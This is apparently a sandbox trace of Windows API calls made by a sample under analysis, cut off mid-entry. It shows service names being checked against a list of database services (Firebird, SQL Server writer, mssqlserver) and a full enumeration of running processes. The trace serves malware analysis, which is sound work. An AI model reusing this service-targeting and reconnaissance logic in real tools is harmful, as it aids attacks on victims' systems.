lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0182.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0182.241] lstrlenW (lpString="RpcSs") returned 5 [0182.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0182.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0182.441] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0182.441] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0182.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0182.441] lstrlenW (lpString="SamSs") returned 5 [0182.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0182.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0182.441] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0182.441] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0182.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0182.441] lstrlenW (lpString="Schedule") returned 8 [0182.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0182.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0182.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0182.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0182.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0182.442] lstrlenW (lpString="SecurityHealthService") returned 21 [0182.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0182.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0182.442] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0182.442] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0182.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0182.442] lstrlenW (lpString="SENS") returned 4 [0182.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0182.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0182.442] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0182.442] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0182.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0182.442] lstrlenW (lpString="ShellHWDetection") returned 16 [0182.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.442] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0182.442] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0182.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0182.442] lstrlenW (lpString="Spooler") returned 7 [0182.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0182.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0182.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0182.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0182.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0182.442] lstrlenW (lpString="SSDPSRV") returned 7 [0182.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0182.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0182.442] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0182.442] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0182.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0182.443] lstrlenW (lpString="StateRepository") returned 15 [0182.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0182.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0182.443] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0182.443] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0182.443] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e8780 | out: hHeap=0x790000) returned 1 [0182.443] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0182.447] Process32FirstW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.448] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0182.448] lstrlenW (lpString="System") returned 6 [0182.448] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0182.449] lstrlenW (lpString="smss.exe") returned 8 [0182.449] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.450] lstrlenW (lpString="csrss.exe") returned 9 [0182.450] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0182.450] lstrlenW (lpString="wininit.exe") returned 11 [0182.450] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0182.451] lstrlenW (lpString="csrss.exe") returned 9 [0182.451] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0182.452] lstrlenW (lpString="winlogon.exe") returned 12 [0182.452] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0182.453] lstrlenW (lpString="services.exe") returned 12 [0182.453] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0182.453] lstrlenW (lpString="lsass.exe") returned 9 [0182.453] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.454] lstrlenW (lpString="svchost.exe") returned 11 [0182.454] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.455] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.455] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.455] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.455] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.456] lstrlenW (lpString="svchost.exe") returned 11 [0182.456] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.457] lstrlenW (lpString="dwm.exe") returned 7 [0182.457] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.458] lstrlenW (lpString="svchost.exe") returned 11 [0182.458] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.458] lstrlenW (lpString="svchost.exe") returned 11 [0182.458] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.459] lstrlenW (lpString="svchost.exe") returned 11 [0182.459] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.460] lstrlenW (lpString="svchost.exe") returned 11 [0182.460] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.461] lstrlenW (lpString="svchost.exe") returned 11 [0182.461] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.461] lstrlenW (lpString="svchost.exe") returned 11 [0182.462] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.462] lstrlenW (lpString="svchost.exe") returned 11 [0182.462] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.463] lstrlenW (lpString="svchost.exe") returned 11 [0182.463] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.464] lstrlenW (lpString="svchost.exe") returned 11 [0182.464] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0182.464] lstrlenW (lpString="spoolsv.exe") returned 11 [0182.464] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.465] lstrlenW (lpString="svchost.exe") returned 11 [0182.465] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.466] lstrlenW (lpString="svchost.exe") returned 11 [0182.466] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0182.466] lstrlenW (lpString="audiodg.exe") returned 11 [0182.466] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0182.467] lstrlenW (lpString="sihost.exe") returned 10 [0182.467] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.468] lstrlenW (lpString="svchost.exe") returned 11 [0182.468] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0182.468] lstrlenW (lpString="taskhostw.exe") returned 13 [0182.469] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0182.469] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0182.469] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0182.470] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0182.470] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0182.471] lstrlenW (lpString="explorer.exe") returned 12 [0182.471] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0182.471] lstrlenW (lpString="Memory Compression") returned 18 [0182.471] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0182.472] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0182.472] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0182.473] lstrlenW (lpString="SearchUI.exe") returned 12 [0182.473] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0182.473] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0182.473] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0182.474] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0182.474] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0182.475] lstrlenW (lpString="taskhostw.exe") returned 13 [0182.475] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0182.497] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0182.497] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0182.498] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0182.498] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0182.499] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0182.499] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0182.499] lstrlenW (lpString="conhost.exe") returned 11 [0182.500] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0182.501] lstrlenW (lpString="screensaver.exe") returned 15 [0182.501] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0182.501] lstrlenW (lpString="upperarc.exe") returned 12 [0182.501] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0182.502] lstrlenW (lpString="buying.exe") returned 10 [0182.502] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0182.503] lstrlenW (lpString="downloadable.exe") returned 16 [0182.503] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0182.504] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0182.504] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0182.505] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0182.505] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0182.506] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0182.506] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0182.508] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0182.508] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0182.509] lstrlenW (lpString="moments.exe") returned 11 [0182.509] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0182.510] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0182.510] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0182.511] lstrlenW (lpString="stream-test.exe") returned 15 [0182.511] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0182.512] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0182.512] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0182.513] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0182.513] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0182.526] lstrlenW (lpString="movers-indication.exe") returned 21 [0182.526] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0182.527] lstrlenW (lpString="drama tv thee.exe") returned 17 [0182.527] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0182.527] lstrlenW (lpString="barriers.exe") returned 12 [0182.528] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, 